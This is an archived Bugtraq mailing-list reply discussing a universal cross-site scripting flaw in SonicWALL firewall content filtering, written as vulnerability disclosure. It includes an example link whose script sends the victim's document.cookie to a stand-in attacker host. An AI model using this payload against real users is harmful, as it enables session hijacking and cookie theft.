Bugtraq mailing list archives
Re: Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day
From: "Adrian P." <ap () gnucitizen org>
Date: Sat, 1 Nov 2008 17:03:54 +0000
Hi sipherr, The issue you referenced seems to only affect blocked sites (i.e.: adware sites). The SonicWALL issue I reported allows you to hijack *any site* (universal XSS) - including NON-blocked sites - by simply inserting a swearword in the target site's URL. i.e.: <a href="http://google.com/fuck#<script>location='http://evil.foo/ '+document.cookie</script>">Click me!</a> Furthermore, the advisory you referenced explains how the script is injected within the logs page, therefore the victim user can only be the firewall administrator. The issue I reported allows you to attack *any user* located in the LAN "protected" by the vulnerable SonicWALL firewall. Hope this makes sense. Please see section "A REAL EXAMPLE AGAINST SONICWALL FIREWALLS" on the following document for more details: http://lab.gnucitizen.org/research-papers/Universal_website_hijacking_by_attacking_firew.pdf?attredirects=0 Regards, ap. On Fri, Oct 31, 2008 at 5:15 PM, <sipherr () gmail com> wrote:
http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-05/0154.html Thanks, sipher
Current thread:
- Re: Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day Adrian P. (Nov 03)